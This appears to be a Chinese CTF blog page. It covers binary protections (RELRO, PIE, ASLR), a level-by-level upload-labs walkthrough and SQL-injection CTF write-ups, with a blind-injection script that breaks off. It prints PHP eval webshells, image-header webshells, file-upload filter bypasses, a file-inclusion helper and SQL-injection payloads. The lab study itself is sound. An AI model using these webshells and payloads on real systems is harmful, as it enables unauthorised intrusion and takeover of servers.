设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

Partial RELRO 可以写GOT表;FULL RELRO写不了

PIE

PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)

ASLR

首先ASLR是归属于系统功能的, 是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。

有三种模式 存储于 /proc/sys/kernel/randomize_va_space

1
2
3
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

PWN的话题目环境一般都是开 2

PIE和ASLR异同

单看比较生硬,看下面的vmmap比较会更清晰,建议读者执行程序对比分析

  • PIE是编译器功能选项,作用于excutable编译过程,随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)
  • ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,只能随机化stack、heap、libraries(.so)的基址,不负责代码段、plt、got、data基地址的随机化
  • ASLR早于PIE出现
  • CTF中PWN题基本都会开ASLR=2

gcc编译默认开启PIE,关闭选项:

1
2
gcc test.c -o bin_pie
gcc test.c -no-pie -o bin_no_pie

gef 调试时默认关闭ASLR,启动方式:

1
2
3
gef➤  aslr on
[+] Enabling ASLR
gef➤ start # 注意aslr开启一定要在start之前

pie off, aslr off

每次执行后 所有地址区间都是固定的

img

pie off, aslr on

  • 可以看到红色部分代码程序段与ASLR关闭时相同,说明ASLR不负责这部分地址随机化
  • 蓝色部分每次执行都是随机的,即 堆、栈、libc段等

img

pie on, aslr off

  • pie off, aslr off 的差别仅在于红色部分代码程序段,相当于都加了一个偏移量
  • 但是每次执行后 所有地址区间也都是固定的

img

pie on, aslr on

这时候相当于所有地址区域每次执行后 蓝色区域都是随机的

img

总结

  1. PIE相当于能力赋予,而ASLR才是真正使用
  2. 在CTF中,PIE主要影响程序(不包含libc)的地址,影响跳转目标执行地址的确定;ASLR主要影响 libc, stack 和 heap 的地址确定
  3. 注意即便地址是随机的,但同一地址区域内的内容的偏移量都是固定的
  4. PIE开启后,IDA中看到的代码地址不能直接使用,要加上一个base(通常需泄露)

其他

开了PIE和ASLR时每次地址都会变,那么如何下断点呢?

如果有符号表的话当然可以直接使用 b func_name ,但如果没有符号表,在gef中可以使用 pie b offset ,gef会自动帮我们计算出正确的地址,如下图

img

Read More
post @ 2023-07-16

upload-labs

搭建

  1. windows本地搭建 (推荐)

    • 下载phpstudy
    • 下载 upload-labs-master.zip
    • 将uploads-labs解压为 uploads-labs (里面没有upload文件夹要自己新建一个)放置于 phpstudy_pro/WWW
    • 启动phpstudy 设置php版本为5.2.17nts;把 magic_quotes_gpc关闭;启动拓展 php_gd2, php_exif (不然有的可能pass不了)
    • 访问 http://localhost/upload-labs
  2. linux docker快速搭建 (不推荐,linux环境有的pass不了)

    • docker search upload-labs
    • docker pull xxx
    • docker run -dt -p 80:80 xxx
    • 访问 http://localhost

攻略

关卡可能有略微差异 请自行比较

Pass-01

创建文件upload.png 内容:<?php @eval($_POST['cmd']);?>

客户端检查,删除本地js代码或Burp抓包修改后缀为php即可

页面检查查看图片文件名,访问upload/xxx.php,post cmd=phpinfo(); 查看是否成功

Pass-02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;

}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}

判断文件类型

法一:上传php,将Content-Type字段由 application/octet-stream改为 image/png

法二:上传png,将后缀改为php

Pass-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

黑名单防护,不允许上传’.asp’,’.aspx’,’.php’,’.jsp’后缀的文件,可以尝试上传.phtml .phps .php5 .pht的后缀文件,都可以当做php脚本解析,如果Web服务器是apache,也可以上传.htaccess文件,来绕过黑名单。尝试上传.phtml,发现上传成功,再响应包或页面检查中找到文件路径,访问查看

注意要在apache的httpd.conf中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

Pass-04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

发现没有过滤 .htaccess

.htaccess:超文本入口

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

1
2
3
<FilesMatch "04.png">                      //如果匹配到名为 04.png 的文件 就把文件当成php的代码来解析
SetHandler application/x-httpd-php
</FilesMatch>

上传.htacess 再上传04.png 然后查看;

Pass-05

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

代码没有将文件后缀转为小写再比较 故可以将后缀改为 .PHP .PHp .pHTml 等 (windows服务器不区分大小写故直接访问05.php即可)

Pass-06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

没有去除后缀中首尾的空格 上传 06.php (注意末尾有个空格) **windows服务器默认去除文件末尾的 “.” 和 “ “故直接访问06.php即可

Pass-07

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

没有去除末尾的 “.” 上传 07.php. windows服务器默认去除文件末尾的 “.” 和 “ “ 直接访问07.php即可

Pass-08

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

没有去除 “::$DATA”

php在window的时候如果文件名+”::$DATA”会把::$DATA 之 后 的 数 据 当 成 文 件 流 处 理 , **不 会 检 测 后 缀 名 **. 且保持 ::$DATA之前的文件名 目的就是不检查后缀名。ps:只能是Windows系统,并且只能是php文件

上传08.php::$DATA 访问08.php

Pass-09

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

过滤了.htacess;删除文件末尾的所有点;按点分隔获取后缀,再首尾去除空格

使用后缀 .php. . 则处理后最后剩下”.php. “ 访问09.php查看

Pass-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

将非法后缀转换为空串 故可上传 10.pphphp 然后访问 10.php

Pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

save_path是GET可控的 采用%00截断

?save_path=../upload/11.php%00 上传png文件 则可访问11.php

Pass-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

save_path是POST可控的 同样采用%00截断

不过POST不会对数据自动解码 需要手动解码:Burp中选中%00 > 右键 > Convert Selection > URL > URL-decode

然后访问12.php

Pass-13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

图片马上传 代码中根据文件的magic number来判断文件类型

  • 构造图片马(13.php) GIF89a是gif文件的magic number:

    1
    2
    GIF89a
    <?php @eval($_POST['cmd']);?>
  • 上传图片马

  • 通过include.php检测是否成功

    include.php没有的话自行在upload-labs文件夹下补充:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    /*
    本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
    */
    header("Content-Type:text/html;charset=utf-8");
    $file = $_GET['file'];
    if(isset($file)){
    include $file;
    }else{
    show_source(__file__);
    }
    ?>
  • 查看源代码中的图片文件名 访问upload-labs/include.php?file=upload/xxxxxx.gif

Pass-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

图片马 构造方法和Pass-13的一样

Pass-15

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function isImage($filename){
//需要开启php_exif模块 在php.ini中对mbstring和exif删去前面的";"
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}

图片马 构造方法和Pass-13的一样

Pass-16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=$UPLOAD_ADDR.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

图片马 代码综合判断了文件后缀和Content-Type,并进行了二次渲染 Pass-13的图片马无法成功

尝试用真实图片末尾加上木马:

1
cat 1.gif 2.php > imgshell.gif

然后上传查看 发现失败 下载gif发现末尾的木马被修改了; 比较找到不变的区域 植入木马再上传即可

具体查看:文章

Pass-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
unlink($upload_file);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}

先将上传的文件保存,再判断后缀 如果不合法则删去 合法就改名

这里存在条件竞争漏洞 如果多次传输17.php 赶在某次它被删除之前访问即可 可以使用Burp的Intruder模块 Payloads > Payload type > Null Payloads, Payload Options > Continue indefinitely
与多线程条件竞争相同

Pass-18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

同样存在条件竞争 不过用的是图片马 其他与Pass-18相同

Pass-19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}

判断操作是基于 save_name 的,即保存名称 处理较少 可以用很多前面的解法 在末尾加 “.” 或 “ “ 或::$DATA或大小写变换等

Read More
post @ 2023-07-15

源码

查看页面源码看到字符串 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

base32+base64解密后得到 select * from user where username = '$name'

分析

登录 用户名只能为admin 发现name字段可以替换空格注入 但信息无回显

可以联合注入3个字段 经尝试发现第二个字段为用户名 使其为admin即可

尝试密码传数组得到warning:Warning: md5() expects parameter 1 to be string, array given in /var/www/html/search.php on line 27

猜测判断逻辑应该为 将数据库中取出的password和md5($pw)比较

exp

1
name=admin'/**/union/**/select/**/1,'admin',NULL/**/limit/**/1,1%23&pw[]=1

1
2
name=admin'/**/union/**/select/**/1,'admin','0cc175b9c0f1b6a831c399e269772661'/**/limit/**/1,1%23&pw=a
// 0cc175b9c0f1b6a831c399e269772661 == md5('a')
Read More
post @ 2023-07-13

题目链接

查询成功会输出 前有flag...

img

发现空格、注释符都被过滤 空格可用/**/替换

img

解法一

bool盲注

由于不可注释 最右会剩下一个没有闭合的单引号 可以构造bool盲注按照回显爆破信息

1
username=tarnisha'/**/or/**/'1'='1/**/	// √

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
import time
